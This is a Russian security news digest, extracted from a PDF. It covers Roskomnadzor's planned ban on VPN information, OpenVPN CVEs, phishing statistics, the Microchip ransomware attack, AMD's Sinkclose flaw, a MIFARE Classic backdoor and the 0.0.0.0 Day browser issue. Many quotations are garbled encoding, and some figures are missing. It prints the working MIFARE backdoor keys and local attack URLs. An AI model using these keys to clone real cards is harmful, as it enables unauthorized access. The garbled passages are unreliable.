Продолжение статьи →
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БЛОКИРОВКА
ИНФОРМАЦИИ О VPN
В Рос комнад зоре под готови ли про ект при каза, сог ласно которо му науч ная,
науч но-тех ничес кая и ста тис тичес кая информа ция о VPN-сер висах для обхо- 
да бло киро вок будет приз нана зап рещен ной в РФ. Исклю чение будет сде- 
лано толь ко для информа ции о VPN, которые исполь зуют ся для обес печения
защищен ного уда лен ного дос тупа.

Про ект пред полага ет, что при каз всту пит в силу с 1 мар та 2025 года
и будет дей ство вать до 1 сен тября 2029 года.

На пом ним, что с 1 мар та 2024 года дей ству ет ,
по которо му РКН может бло киро вать сай ты с информа цией о методах и спо- 
собах исполь зования зап рещен ных ресур сов и рек ламой соот ветс тву ющих
прог рамм.

при каз Рос комнад зора

Од нако сей час кри терии для вклю чения в реестр зап рещен ных ресур сов
не при меня ются «в отно шении науч ной, науч но-тех ничес кой и ста тис тичес кой
информа ции о спо собах, методах обес печения дос тупа к информа цион ным
ресур сам и/или информа цион но-телеком муника цион ным сетям, дос туп
к которым огра ничен на тер ритории Рос сии».

В новой редак ции при каза пред лага ется изме нить этот пункт, что бы кри- 
терии не при меня лись «в отно шении науч ной, науч но-тех ничес кой и ста тис- 
тичес кой информа ции о спо собах, методах обме на информа цией
в информа цион но-телеком муника цион ных сетях, в том чис ле в сети
„Интернет“, при обес печении дос тупа к информа цион ным ресур сам и/или
информа цион но-телеком муника цион ным сетям с при мене нием защищен ных
каналов свя зи».

Со ссыл кой на нор му ФЗ № 149 «Об информа ции», которая зап реща ет
информа цию «о спо собах, методах обес печения дос тупа к информа цион ным
ресур сам и/или информа цион но-телеком муника цион ным сетям, дос туп
к которым огра ничен на тер ритории РФ», Рос комнад зор пишет, что под нее
«попада ют так же VPN-сер висы, обес печива ющие дос туп к заб локиро ван ным
информа цион ным ресур сам и/или информа цион но-телеком муника цион ным
сетям».

«

»

«Òàêèì îáðà çîì, äîë æíà ïðèç íàâàòü ñÿ çàï ðåùåí íîé òàê æå íàó÷ íàÿ,
íàó÷ íî�òåõ íè÷åñ êàÿ èíôîðìà öèÿ, îïè ñûâà þùàÿ ñïî ñîáû ñîç äàíèÿ,
óñòðîé ñòâà VPN-ñåð âèñîâ, öåëüþ êîòîðûõ ÿâëÿ åòñÿ ïðå äîñ òàâëå íèå
ëèöàì äîñ òóïà ê èíôîðìà öèîí íûì ðåñóð ñàì è/èëè èíôîðìà öèîí- 
íî�òåëåêîì ìóíèêà öèîí íûì ñåòÿì, äîñ òóï ê êîòîðûì îãðà íè÷åí
íà òåð ðèòîðèè Ðîñ ñèé ñêîé Ôåäåðà öèè, — ïèøóò àâòî ðû íîâîãî ïðî- 
åêòà â ïîÿñ íèòåëü íîé çàïèñ êå. — Èñõî äÿ èç ôîð ìóëèðîâ êè ïîä ïóí êòà
„ì“ ïóí êòà 1 ÷àñ òè 5 ñòàòüè 15 Ôåäåðàëü íîãî çàêîíà № 149-ÔÇ, äîñ- 
òóï ê òàêîé íàó÷ íîé, íàó÷ íî�òåõ íè÷åñ êîé èíôîðìà öèè äîë æåí ïîä- 
ëåæàòü îãðà íè÷å íèþ».

При этом в РКН добав ляют, что «VPN-сер висы могут раз рабаты вать ся
и исполь зовать ся толь ко для обес печения защищен ного дос тупа к информа- 
цион ным ресур сам и/или защищен ного обме на информа цией в информа- 
цион но-телеком муника цион ных сетях» и такие сер висы не пред назна чены
для обхо да бло киро вок, а «исполь зуют ся для защиты кон фиден циаль ной
информа ции, в том чис ле для пре дот вра щения утеч ки такой информа ции».

«
»

«Â òàêèõ öåëÿõ VPN-ñåð âèñû èñïîëü çóþò ñÿ, â ÷àñ òíîñ òè, ãîñóäàðñ òâåí- 
íûìè îðãà íàìè, îðãà íàìè ìåñ òíî ãî ñàìî óïðàâëå íèÿ, êîì ìåð÷åñ êèìè
ïðåä ïðè ÿòèÿìè, â òîì ÷èñ ëå îðãà íèçà öèÿìè ôèíàí ñîâîé ñôå ðû.
Â ñâÿ çè ñ ýòèì ïðî åêòîì ïðè êàçà ïðåä ëàãà åòñÿ èçëî æèòü ïîä- 
ïóíêò 5 ïóí êòà 5 Êðè òåðè åâ â íîâîé ðåäàê öèè», — ñêà çàíî â ïîÿñ- 
íèòåëü íîé çàïèñ êå.

 АВТОРОВ СТАЛКИВАЛИСЬ С ПИРАТСТВОМ95%

По дан ным плат формы самиз дата «Лит нет»,  авто ров в Рос сии стал кивались с незакон ным
рас простра нени ем сво их книг. При чем  опро шен ных авто ров встре чали свои про изве- 
дения на пират ских ресур сах в пер вую же неделю пос ле пуб ликации.

95%
61%

Од нако  авто ров говорят об улуч шении ситу ации по про тиво дей ствию пиратс тву
в 2024 году, об ухуд шении заяви ли толь ко  рес понден тов, а  счи тают, что ситу ация
не меня ется.

48%
8% 44%

По сло вам чле на прав ления Ассо циации по защите автор ских прав в интерне те (АЗА ПИ) Мак- 
сима Рябыко, пос ле вклю чения изда телей в анти пират ский меморан дум в 2023 году пре тен зии
от АЗА ПИ получи ли  сай тов, из них  (53,85%) уда лили пират ский кон тент.2256 1215

Во вто ром квар тале 2024 года, по его сло вам, про цент сай тов, уда ляющих кон тент по пре тен- 
зиям, сос тавлял .52,10%

УЯЗВИМОСТИ
В OPENVPN
На кон ферен ции Black Hat USA 2024 пред ста вите ли Microsoft рас ска зали сра- 
зу о четырех уяз вимос тях в OpenVPN. Эти проб лемы мож но объ еди нить
в цепоч ку, что поз волит добить ся уда лен ного выпол нения кода (RCE)
и локаль ного повыше ния при виле гий (LPE).

«
»

«Òàêàÿ àòà êà ìîæåò ïîç âîëèòü çëî óìûø ëåííè êàì ïîëó÷èòü ïîë íûé
êîí òðîëü íàä öåëåâû ìè ýíäïî èíòà ìè, ÷òî ïîòåí öèàëü íî ìîæåò ïðè- 
âåñ òè ê óòå÷ êå äàí íûõ, êîì ïðî ìåòà öèè ñèñ òåìû è íåñàí êöè îíè ðîâàí- 
íîìó äîñ òóïó ê êîí ôèäåí öèàëü íîé èíôîðìà öèè», — ðàñ ñêà çûâà åò Âëà- 
äèìèð Òîêàðåâ èç Microsoft Threat Intelligence Community.

При этом отме чает ся, что экс пло ит, пред став ленный на кон ферен ции, тре- 
бует аутен тифика ции и глу боко го понима ния внут ренних механиз мов работы
OpenVPN.

Пе речис ленные ниже уяз вимос ти зат рагива ют все вер сии OpenVPN
вплоть до 2.6.10 и 2.5.10, где они были устра нены.
•  — уяз вимость перепол нения сте ка, при водя щая к отка зу

от обслу жива ния (DoS) и локаль ному повыше нию при виле гий в Windows.
CVE-2024-27459

•  — проб лема несан кци они рован ного дос тупа к име нован- 
ному каналу \\\openvpn\\\service в Windows, допус кающая уда лен ное вза- 
имо дей ствие и запуск опе раций.

CVE-2024-24974

•  — уяз вимость в механиз ме пла гинов, при водя щая
к выпол нению про изволь ного кода в Windows, а так же локаль ному
повыше нию при виле гий и манипу лиро ванию дан ными в Android, iOS,
macOS и BSD.

CVE-2024-27903

•  — уяз вимость перепол нения памяти, при водя щая к DoS
в Windows.
CVE-2024-1305

Пер вые три проб лемы свя заны с ком понен том openvpnserv, а пос ледняя —
с драй вером Windows Terminal Access Point (TAP).

Все уяз вимос ти мож но исполь зовать сра зу пос ле того, как зло умыш- 
ленник получил дос туп к учет ным дан ным OpenVPN. Отме чает ся, что сде лать
это мож но раз личны ми спо соба ми, вклю чая покуп ку дан ных в дар кне те,
исполь зование инфости леров и дру гой мал вари, сниф финг сетево го тра фика
для получе ния хешей NTLMv2 (и их пос леду юще го декоди рова ния с помощью
таких инс тру мен тов, как hashcat или John the Ripper).

«

»

«Çëî óìûø ëåííèê ìîæåò èñïîëü çîâàòü êàê ìèíèìóì òðè èç ÷åòûðåõ
îáíà ðóæåí íûõ óÿç âèìîñ òåé äëÿ ñîç äàíèÿ ýêñ ïëî èòîâ, ñïî ñîáñ òâó þùèõ
RCE è LPE, êîòîðûå çàòåì ìîãóò áûòü ñîåäè íåíû âìåñ òå äëÿ ñîç äàíèÿ
ìîù íîé öåïî÷ êè àòàê, — îòìå òèë Òîêàðåâ, äîáàâèâ, ÷òî ïîñ ëå
ïîâûøå íèÿ ïðè âèëå ãèé àòà êóþùèå ìîãóò ïåðåé òè ê òàêèì òåõ íèêàì,
êàê Bring Your Own Vulnerable Driver (BYOVD). — Òàêèì îáðà çîì àòà- 
êóþùèé ñìî æåò, íàï ðèìåð, îòêëþ ÷èòü Protect Process Light (PPL)
äëÿ êðè òè÷åñ êè âàæ íîãî ïðî öåñ ñà, òàêîãî êàê Microsoft Defender,
à òàê æå îáîé òè èëè âìå øàòü ñÿ â ðàáîòó äðó ãèõ êðè òè÷åñ êè âàæ íûõ
ïðî öåñ ñîâ â ñèñ òåìå».

ВРЕДОНОСЫ В ПИСЬМАХ
Спе циалис ты FACCT про ана лизи рова ли вре донос ные поч товые рас сылки, которые зло умыш- 
ленни ки рас простра няли во вто ром квар тале 2024 года.

С апре ля по июнь фишин говые пись ма чаще все го рас сылались , а в  рас- 
сылок мал варь была скры та во вло жени ях.

по чет вергам 97%

Ата кующие все чаще исполь зуют леген ды, свя зан ные с Рос сией и СНГ. Так, в 2024 году более
 фишин говых рас сылок, которые при ходят рос сий ским ком пани ям, были написа ны на рус- 

ском или дру гом язы ке стран СНГ, а их содер жимое адап тирова ли под мес тные цели.
13%

Нес мотря на пос тепен ное сни жение количес тва рас сылок через бес плат ные поч товые сер висы,
кибер прес тупни ки про дол жают их исполь зовать. Так, во вто ром квар тале доля Gmail в фишин- 
говых рас сылках сок ратилась с  до , а вот доля рос сий ских сер висов вырос ла поч ти
в три раза — с  до .

80,4 49,5%
13,1 35,3%

Для дос тавки мал вари на конеч ные устрой ства исполь зуют ся вло жения (в  слу чаев). Архи- 
вы фор матов .rar, .zip, .7z и дру гие оста ются самыми популяр ными решени ями для этих целей
(в общей слож ности их доля сос тавля ет ).

97%

81,4%

Ча ще все го через поч товые рас сылки рас простра няют ся инс тру мен ты для сбо ра дан ных и шпи- 
она жа. Лидиру ют по-преж нему спай варь Agent Tesla (в  вре донос ных рас сылок), заг- 
рузчик CloudEyE ( ), сти лер FormBookFormgrabber ( ).

56,1%
11% 10,5%

ВЗЛОМАНА
MICROCHIP
TECHNOLOGY
Аме рикан ский про изво дитель мик росхем Microchip Technology Incorporated
сооб щил, что на его сис темы была совер шена кибера така, нарушив шая
работу сра зу нес коль ких про изводс твен ных объ ектов.

У ком пании нас читыва ется око ло 123 тысяч кли ентов в самых раз ных
отраслях, вклю чая про мыш ленную, авто мобиль ную, пот ребитель скую, аэро- 
кос мичес кую и обо рон ную, ком муника цион ную и вычис литель ную.

Из-за инци ден та некото рые про изводс твен ные пло щад ки Microchip
Technology работа ли не в пол ную силу, что пов лияло на спо соб ность ком- 
пании выпол нять заказы. Кро ме того, Microchip Technology приш лось при нять
меры по уре гули рова нию ситу ации, а имен но отклю чить и изо лиро вать
некото рые пос тра дав шие от взло ма сис темы.

«

»

«17 àâãóñòà 2024 ãîäà êîì ïàíèÿ Microchip Technology Incorporated
çàìåòè ëà ïîäîç ðèòåëü íóþ àêòèâíîñòü â ñâî èõ ÈÒ�ñèñ òåìàõ. Îáíà- 
ðóæèâ ïðîá ëåìó, êîì ïàíèÿ íà÷àëà ïðè íèìàòü ìåðû ïî îöåí êå,
ëîêàëè çàöèè è óñòðà íåíèþ ïîòåí öèàëü íî íåñàí êöè îíè ðîâàí íîé
àêòèâíîñ òè, — ãîâîðèò ñÿ â çàÿâ ëåíèè Microchip Technology, ïîäàí íîì
â Êîìèñ ñèþ ïî öåí íûì áóìàãàì è áèð æàì ÑØÀ. —
19 àâãóñòà 2024 ãîäà áûëî óñòà íîâ ëåíî, ÷òî íåàâ òîðèçî âàí íàÿ ñòî- 
ðîíà ïîìåøà ëà êîì ïàíèè èñïîëü çîâàòü íåêîòî ðûå ñåð âåðû è îñó- 
ùåñò âëÿòü íåêîòî ðûå áèç íåñ�îïå ðàöèè».

В нас тоящее вре мя Microchip Technology изу чает мас шта бы и пос ледс твия
ата ки, а к делу прив лечены внеш ние ИБ-экспер ты. Так же ком пания работа ет
над вос ста нов лени ем пос тра дав ших ИТ-сис тем и воз вра щени ем к нор маль- 
ной работе.

Хо тя пока в ком пании не рас кры вают под робнос ти инци ден та, в заяв лении
ска зано, что ата ка свя зана с неназ ванной прог раммой-вымога телем. Пока
ни одна хакер ская груп па не взя ла на себя ответс твен ность за слу чив шееся.

УДАЛЕННАЯ РАБОТА МЕШАЕТ РАЗВИТИЮ ИИ
Выс тупая перед сту ден тами Стэн форд ско го уни вер ситета, быв ший генераль ный дирек тор
Google Эрик Шмидт (Eric Schmidt) отве тил на воп рос о том, почему Google отста ет от кон курен- 
тов в области ИИ. По его мне нию, корень проб лемы — это уда лен ная работа.

→ «Google решила, что баланс меж ду работой и лич ной жизнью, ран ний уход
домой и работа из дома важ нее победы. А при чина, по которой у стар тапов
получа ется, зак люча ется в том, что люди в них работа ют как прок лятые.

Прос тите за пря моту. Но если вы бро сите уни вер ситет и попыта етесь соз- 
дать cобс твен ную ком панию, не поз воляй те людям работать из дома и при- 
ходить (в офис) толь ко один день в неделю, если вы хотите кон куриро вать
с дру гими стар тапами», — заявил Шмидт.

Это выс казыва ние выз вало шквал кри тики в СМИ и соци аль ных сетях, пос ле чего дос туп
к видео с выс тупле нием Шмид та на офи циаль ном YouTube-канале Стэн форда был зак рыт.

→ «Я неп равиль но выразил ся, ког да говорил о Google и их рабочих часах. Я
сожалею о сво ей ошиб ке», — поз же сооб щил Шмидт пред ста вите лям СМИ.

SINKCLOSE
УГРОЖАЕТ AMD
Про дук ты ком пании AMD под верже ны серь езной уяз вимос ти Sinkclose,
которая зат рагива ет нес коль ко поколе ний про цес соров EPYC, Ryzen
и Threadripper. Проб лема поз воля ет зло умыш ленни кам с при виле гиями уров- 
ня ядра (Ring 0) получить при виле гии Ring -2, что может исполь зовать ся
для уста нов ки мал вари, которую прак тичес ки невоз можно обна ружить.

Ring -2 — один из самых высоких уров ней при виле гий на компь юте ре,
который сто ит выше Ring -1 (исполь зует ся для гипер визоров и вир туали- 
зации) и Ring 0 — уров ня при виле гий, исполь зуемо го ядром ОС.

В сов ремен ных про цес сорах уро вень при виле гий Ring -2 свя зан с фун кци- 
ей System Management Mode (SMM). SMM управля ет питани ем, кон тро лиру ет
аппа рат ное обес печение, отве чает за безопас ность и выпол няет дру гие низ- 
коуров невые опе рации, необ ходимые для ста биль нос ти сис темы. Имея
высокий уро вень при виле гий, SMM изо лиро ван от ОС, что бы пре дот вра тить
воз можные ата ки.

Проб лема Sinkclose, обна ружен ная спе циалис тами ком пании IOActive,
получи ла иден тифика тор CVE-2023-31315 и оце нива ется в 7,5 бал ла по шка- 
ле CVSS.

Ис сле дова тели заяви ли, что Sinkclose оста валась незаме чен ной на про- 
тяже нии поч ти 20 лет и в резуль тате зат рагива ет широкий спектр моделей
про цес соров AMD.

Уяз вимость поз воля ет зло умыш ленни кам с дос тупом на уров не ядра (Ring
0) изме нять нас трой ки SMM, даже если активна бло киров ка SMM (SMM
Lock). В резуль тате проб лема может исполь зовать ся для отклю чения защит- 
ных фун кций и уста нов ки на устрой ство стой кого, прак тичес ки не под дающе- 
гося обна руже нию вре донос ного ПО.

Так как уро вень Ring -2 изо лиро ван и «невидим» для ОС и гипер визора,
такие вре донос ные модифи кации не получит ся обна ружить или устра нить
с помощью средств защиты, работа ющих на уров не ОС. По сло вам иссле- 
дова телей, единс твен ный спо соб най ти и уда лить мал варь, уста нов ленную
с помощью Sinkclose, — это физичес ки под клю чать ся к про цес сорам
с помощью прог рамма тора SPI Flash и ска ниро вать память.

«

»

«Ïðåä ñòàâü òå ñåáå ïðà âèòåëü ñòâåí íûõ õàêåðîâ èëè êîãî óãîä íî, êòî
õî÷åò ñîõ ðàíèòü äîñ òóï ê âàøåé ñèñ òåìå. Äàæå åñëè âû î÷èñ òèòå
äèñê, âðå äîíîñ âñå ðàâ íî îñòà íåò ñÿ. Îí áóäåò ïî÷ òè íåîá íàðóæèì
è ïðàê òè÷åñ êè íåóñ òðà íèì. Òîëü êî âñêðû òèå êîð ïóñà êîìïü þòå ðà,
ôèçè÷åñ êîå ïîä êëþ ÷åíèå íåïîñ ðåäñ òâåí íî ê îïðå äåëåí íûì ìèê- 
ðîñõå ìàì (ñ ïîìîùüþ àïïà ðàò íîãî ðåøåíèÿ, èçâåñ òíî ãî êàê SPI Flash)
è òùà òåëü íàÿ î÷èñ òêà ïàìÿòè ïîç âîëÿò óäà ëèòü âðå äîíîñ íóþ ïðîã- 
ðàììó. Ïî ñóòè, âàì ïðè äåò ñÿ âûá ðîñèòü ñâîé êîìïü þòåð», — ãîâîðÿò
ýêñïåð òû, íàçûâàÿ òàêóþ àòà êó íàèõóä øèì èç âîç ìîæíûõ ñöå íàðè åâ.

По  инже неров AMD, проб лема зат рагива ет сле дующие модели про- 
цес соров (поч ти все про цес соры AMD, выпущен ные с 2006 года):

дан ным

• EPYC пер вого, вто рого, треть его и чет верто го поколе ний;
• EPYC Embedded 3000, 7002, 7003 и 9003, R1000, R2000, 5000 и 7000;
• Ryzen Embedded V1000, V2000 и V3000;
• Ryzen серий 3000, 5000, 4000, 7000 и 8000;
• се рии Ryzen 3000 Mobile, 5000 Mobile, 4000 Mobile и 7000 Mobile;
• Ryzen Threadripper серий 3000 и 7000;
• AMD Threadripper PRO (Castle Peak WS SP3, Chagall WS);
• AMD Athlon 3000 серии Mobile (Dali, Pollock);
• AMD Instinct MI300A.

В сво ем бюл летене безопас ности AMD сооб щает, что уже под готови ла
исправ ления для дес ктоп ных и мобиль ных про цес соров EPYC и AMD Ryzen,
а исправ ления для встро енных про цес соров появят ся поз же.

Как было ска зано выше, дос туп на уров не ядра явля ется необ ходимым
усло вием для осу щест вле ния ата ки Sinkclose. В сво ем сооб щении пред ста- 
вите ли AMD это под твер дили и под чер кну ли слож ность экс плу ата ции CVE-
2023-31315 в реаль ных усло виях. В ответ на это в IOActive заяви ли, что уяз- 
вимос ти уров ня ядра, хотя и не рас простра нены широко, сущес тву ют и не так
уж ред ки.

Ис сле дова тели уве рены, что Sinkclose может пред став лять серь езную
угро зу для орга низа ций, исполь зующих сис темы на базе AMD, осо бен но
со сто роны «пра витель ствен ных» хакеров. Они догово рились с AMD не пуб- 
ликовать каких-либо PoC-экс пло итов для Sinkclose в течение нес коль ких
месяцев, что бы у поль зовате лей было боль ше вре мени для исправ ления
проб лемы.

 РАСШИРЕНИЙ НЕ ПЕРЕШЛИ НА MANIFEST V355 000

По ка раз работ чики рас ширений для Chrome перенес ли толь ко  рас ширений на новый
фрей мворк. При этом недав но ком пания Google начала  поль- 
зовате лям, которые все еще исполь зуют рас ширения Manifest V2, и уве дом ляет об их ско ром
отклю чении.

58%
по казы вать пре дуп режде ния

Сог ласно ста тис тике ресур са Chrome-Stats, выходит, что Google собира ется уда лить око ло
 уста рев ших рас ширений из Chrome Web Store.55 000
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БЭКДОР В MIFARE
CLASSIC
Фран цуз ская ком пания Quarkslab сооб щила, что наш ла бэк дор в мил лионах
карт про изводс тва Shanghai Fudan Microelectronics Group, ведуще го про изво- 
дите ля чипов в Китае. Эта «зак ладка» поз воля ет мгно вен но кло ниро вать
RFID-кар ты, пос тро енные на чипах MIFARE Classic от NXP, которые исполь- 
зуют ся в общес твен ном тран спор те, офи сах, гос тиницах, финан совых
учрежде ниях и дру гих орга низа циях по все му миру.

Ис сле дова тели пре дуп режда ют, что для выпол нения ата ки зло умыш ленни- 
ку пот ребу ется про вес ти все го нес коль ко минут рядом с уяз вимой кар той,
но в слу чае мас совой ата ки на цепоч ку пос тавок ком про мета цию мож но осу- 
щес твить прак тичес ки мгно вен но и в боль ших мас шта бах.

Бэк дор был най ден слу чай но, в ходе изу чения безопас ности семей ства
смарт-карт . Кар ты это го семей ства, запущен ного
в далеком 1994 году ком пани ей Philips (сей час NXP Semiconductors), широко
исполь зуют ся по все му миру и за про шед шие годы не раз под верга лись ата- 
кам.

MIFARE Classic

В час тнос ти, боль шой проб лемой были уяз вимос ти, допус кающие ата ки
типа card-only (тре бующие дос тупа к кар те, но не к счи тыва юще му устрой- 
ству), что поз воляло кло ниро вать кар ты или счи тывать и переза писы вать их
содер жимое, прос то находясь рядом в течение нес коль ких минут.

Од нако со вре менем уяз вимос ти, обна ружен ные ИБ-экспер тами, устра- 
нялись в новых вер сиях MIFARE Classic. И в 2020 году ком пания Shanghai
Fudan Microelectronics, ведущий китай ский про изво дитель нелицен зирован- 
ных MIFARE-сов мести мых чипов, пред ста вила вер сию FM11RF08S MIFARE
Classic. Этот вари ант имел ряд защит ных мер, нап равлен ных на пре дот вра- 
щение извес тных атак типа card-only, и быс тро заво евал популяр ность
по все му миру.

Изу чая FM11RF08S, где исполь зует ся защита static encrypted nonce,
иссле дова тели сумели раз работать ата ку, спо соб ную взла мывать клю чи
FM11RF08S за нес коль ко минут, если те исполь зуют ся пов торно как минимум
в трех сек торах или на трех кар тах.

Имен но во вре мя про веде ния это го иссле дова ния ана лити ки Quarkslab
обна ружи ли аппа рат ный бэк дор, поз воля ющий выпол нять аутен тифика цию
с помощью неиз вес тно го клю ча. Исполь зовав раз работан ную ими ата ку
для взло ма клю чей, спе циалис ты поняли, что бэк дор-ключ оди наков для всех
сущес тву ющих карт FM11RF08S — A396EFA4E24F.

Пос ле это го откры тия ана логич ный бэк дор, свя зан ный с дру гим клю чом,
был най ден и в пре дыду щем поколе нии карт (FM11RF08). Пос ле того как был
взло ман и вто рой сек ретный ключ (A31667A8CEC1), выяс нилось, что он тоже
явля ется общим для всех карт FM11RF08, а так же дру гих моделей это го про- 
изво дите ля (FM11RF32, FM1208-10) и даже ряда ста рых карт NXP
Semiconductors и Inneon Technologies.

Ис сле дова тели полага ют, что бэк дор появил ся еще в 2007 году. То есть
мил лионы карт, выпущен ных за пос ледние 17 лет, мож но без тру да кло ниро- 
вать за нес коль ко минут или даже секунд.

«

»

«Áýê äîð FM11RF08S ïîç âîëÿ åò ëþáîìó ëèöó, çíà þùå ìó î íåì, ñêîì- 
ïðî ìåòè ðîâàòü âñå óñòà íîâ ëåííûå ïîëü çîâàòå ëåì êëþ ÷è íà ýòèõ êàð- 
òàõ, äàæå åñëè îíè ïîë íîñòüþ äèâåð ñèôèöè ðîâà íû, ïðîñ òî ïîëó÷èâ
äîñ òóï ê êàð òå íà íåñ êîëü êî ìèíóò, — ñîîá ùàåò ñÿ â îò÷å òå
Quarkslab. — Ìíî ãèå, âåðî ÿòíî, äàæå íå ïîäîç ðåâà þò î òîì, ÷òî êàð òû
MIFARE Classic, êîòîðûå îíè ïîëó÷è ëè îò ñâî åãî ïîñ òàâùè êà,
íà ñàìîì äåëå ïðåä ñòàâ ëÿþò ñîáîé Fudan FM11RF08 èëè FM11RF08S,
ïîñ êîëü êó ýòè äâà ÷èïà ðàñ ïðîñòðà íåíû íå òîëü êî íà êèòàé ñêîì ðûí- 
êå. Íàï ðèìåð, ìû îáíà ðóæè ëè, ÷òî ýòè êàð òû èñïîëü çóþò ñÿ âî ìíî ãèõ
îòå ëÿõ â ÑØÀ, Èíäèè è ñòðà íàõ Åâðî ïû».

6 ДНЕЙ НА УСТАНОВКУ ПАТЧЕЙ
Обыч но зло умыш ленни ки раз рабаты вают и пуб лику ют в дар кне те экс пло иты для кри тичес ких
уяз вимос тей менее чем за неделю, пре дуп редили в Positive Technologies.

В сред нем PoC-экс пло ит ста новит ся дос тупен уже через  пос ле пуб ликации информа- 
ции о кри тичес ком баге и через неделю — для нек ритичес ких уяз вимос тей.

6 дней

Спус тя еще  обсужде ния кри тичес ки опас ных уяз вимос тей начина ют появ лять ся на спе- 
циали зиро ван ных пло щад ках в дар кне те и в Telegram-каналах.

5 дней

Ча ще все го зло умыш ленни ки обсужда ют уяз вимос ти с сетевым век тором ата ки (доля таких
сооб щений сос тавила ).70%

Так же наибо лее упо мина емы ми сре ди кибер прес тупни ков ста ли уяз вимос ти в  (
), про дук тах  ( ) и Java-фрей мвор ке 

( ). Так же прис таль ного вни мания удос тоились проб лемы  (
) и  ( ).

WinRAR CVE-
2023-38831 Fortinet CVE-2022-40684 Spring Framework
CVE-2022-22965 Linux CVE-2022-

0847 Microsoft Support Diagnostic Tool CVE-2022-30190

В подав ляющем боль шинс тве сооб щений в дар кне те ( ) зло умыш ленни ки обсужда ют пуб- 
личные вер сии PoC-экс пло итов, и лишь  сооб щений свя заны с обсужде нием покуп ки
или про дажи экс пло ита для про веде ния реаль ных атак.

92%
8%

ПРОБЛЕМА 0.0.0.0
DAY
Об наружен ная 18 лет назад уяз вимость, получив шая наз вание 0.0.0.0 Day,
поз воля ет вре донос ным сай там обхо дить защиту бра узе ров Google Chrome,
Mozilla Firefox и Apple Safari и вза имо дей ство вать с сер висами в локаль ной
сети. Проб лема зат рагива ет толь ко устрой ства под управле нием Linux
и macOS, но не работа ет в Windows.

Нес мотря на то что  была най дена
в далеком 2008 году, она до сих пор не устра нена в Chrome, Firefox и Safari,
хотя раз работ чики всех трех ком паний уже приз нали наличие проб лем
и завери ли, что работа ют над их устра нени ем.

из началь ная уяз вимость

Вни мание к 0.0.0.0 Day прив лекли иссле дова тели из ком пании Oligo Security,
которые под черки вают, что риск в дан ном слу чае вов се не теоре тичес кий
и нес коль ко хак групп уже исполь зуют проб лему в сво их цепоч ках атак.

Уяз вимость свя зана с несог ласован ностью механиз мов безопас ности
в раз ных бра узе рах и отсутс тви ем стан дарти зации, что поз воля ет сай там вза- 
имо дей ство вать со служ бами в локаль ной сети, исполь зуя «wildcard» IP-адрес

.0.0.0.0
Как пра вило, 0.0.0.0 оли цет воря ет все IP-адре са на локаль ной машине

или все сетевые интерфей сы на хос те. Он может исполь зовать ся в качес тве
адре са-замени теля в зап росах DHCP или интер пре тиро вать ся как localhost
(127.0.0.1) при работе в локаль ной сети.

Проб лема в том, что вре донос ные сай ты могут отправ лять HTTP-зап росы
на 0.0.0.0, нацелен ные на служ бу, работа ющую на локаль ной машине жер твы.
Из-за отсутс твия ком плексной защиты эти зап росы час то дей стви тель но
переда ются служ бе и обра баты вают ся. Как пояс няют экспер ты, сущес тву- 
ющие механиз мы защиты, вклю чая Cross-Origin Resource Sharing (CORS)
и Private Network Access (PNA), не спо соб ны оста новить такую ата ку.

По умол чанию бра узе ры не поз воля ют сай там отправ лять зап росы на дру- 
гие сай ты и исполь зовать получен ную в ответ информа цию. Это сде лано
для того, что бы вре донос ные ресур сы не мог ли получить дос туп к дру гим
URL-адре сам в бра узе ре поль зовате ля, на которых тот может быть аутен- 
тифици рован (нап ример, к пор талу онлайн-бан кинга или поч те).

Од нако в бра узе рах сущес тву ет тех нология CORS, поз воля ющая сай там
получать дос туп к дан ным с дру гих сай тов, если это явно раз решено.

«

»

«CORS — ýòî çàìå÷à òåëü íî, ýòî äåëà åò èíòåðíåò íàì íîãî áåçîïàñ íåå.
CORS ïðå äîò âðà ùàåò ïîïàäà íèå îòâå òîâ ê çëî óìûø ëåííè êàì, ïîýòî- 
ìó çëî óìûø ëåííè êè íå ìîãóò ïðî ÷èòàòü äàí íûå, îòïðàâ ëÿÿ íåäåé ñòâè- 
òåëü íûå çàï ðîñû. Ïðè îòïðàâ êå çàï ðîñà, åñëè â îòâå òå îòñóòñ òâó þò
çàãîëîâ êè CORS, JavaScript-êîä àòà êóþùèõ íå ñìî æåò ïðî ÷èòàòü
ñîäåð æèìîå îòâå òà. Íî íåï ðîçðà÷ íûå çàï ðîñû ìîãóò áûòü îòïðàâ ëåíû
â ðåæèìå no-cors è óñïåøíî äîé äóò äî ñåð âåðà, îñî áåí íî åñëè íàñ
â öåëîì íå èíòå ðåñó þò îòâå òû», — îáú ÿñíÿ þò â Oligo Security.

То есть, ког да цель угро жающе го зло умыш ленни ка зак люча ется в том, что бы
прос то доб рать ся до HTTP-эндпо инта, запущен ного на локаль ном устрой стве
и под ходяще го для изме нения нас тро ек или выпол нения какой-то задачи,
output вооб ще не нужен.

За щита PNA работа ет нем ного ина че, чем CORS, бло кируя любые зап- 
росы, которые пыта ются под клю чить ся к IP-адре сам, счи тающим ся локаль- 
ными и при ват ными. Одна ко ана лиз показал, что IP-адрес 0.0.0.0 не вклю чен
в спи сок зап рещен ных адре сов PNA (как, нап ример, 127.0.0.1). То есть, ког да
зап рос в режиме no-cors отправ ляет ся на этот спе циаль ный адрес, он может
обой ти защиту PNA и под клю чить ся к URL веб-сер вера, запущен ного
на 127.0.0.1.

В сво ем отче те спе циалис ты рас ска зыва ют сра зу о нес коль ких слу чаях
экс плу ата ции проб лемы 0.0.0.0 Day. В пер вом слу чае речь идет о кам пании

, о которой ана лити ки Oligo Security уже писали в мар те прош лого
года. Эта кам пания нацеле на на уяз вимость в опен сор сном ИИ-фрей мвор ке
Ray.

ShadowRay

Ата ка начина ется с того, что жер тва перехо дит по ссыл ке, получен ной
по поч те или най ден ной на вре донос ном сай те. По ссыл ке запус кает ся
JavaScript для отправ ки HTTP-зап роса на http://0.0.0.0(.)0:8265, обыч но
исполь зуемо го Ray. В ито ге эти зап росы дос тига ют локаль ного клас тера Ray
и могут при вес ти к выпол нению про изволь ного кода, раз верты ванию
реверс-шел лов и изме нению кон фигура ции.

Во вто ром слу чае 0.0.0.0 Day исполь зует ся в кам пании, нацелен ной
на Selenium Grid и обна ружен ной спе циалис тами ком пании Wiz в прош лом
месяце. В этом слу чае зло умыш ленни ки исполь зуют JavaScript на пуб личном
домене для отправ ки зап росов на http://0.0.0(.)0:4444. Эти зап росы нап- 
равля ются на сер веры Selenium Grid, что поз воля ет хакерам выпол нить код
или про извести раз ведку.

Кро ме того, в октябре 2023 года Oligo Security сооб щала об уяз вимос ти
, свя зан ной с тем, что веб-панель TorchServe по умол чанию при- 

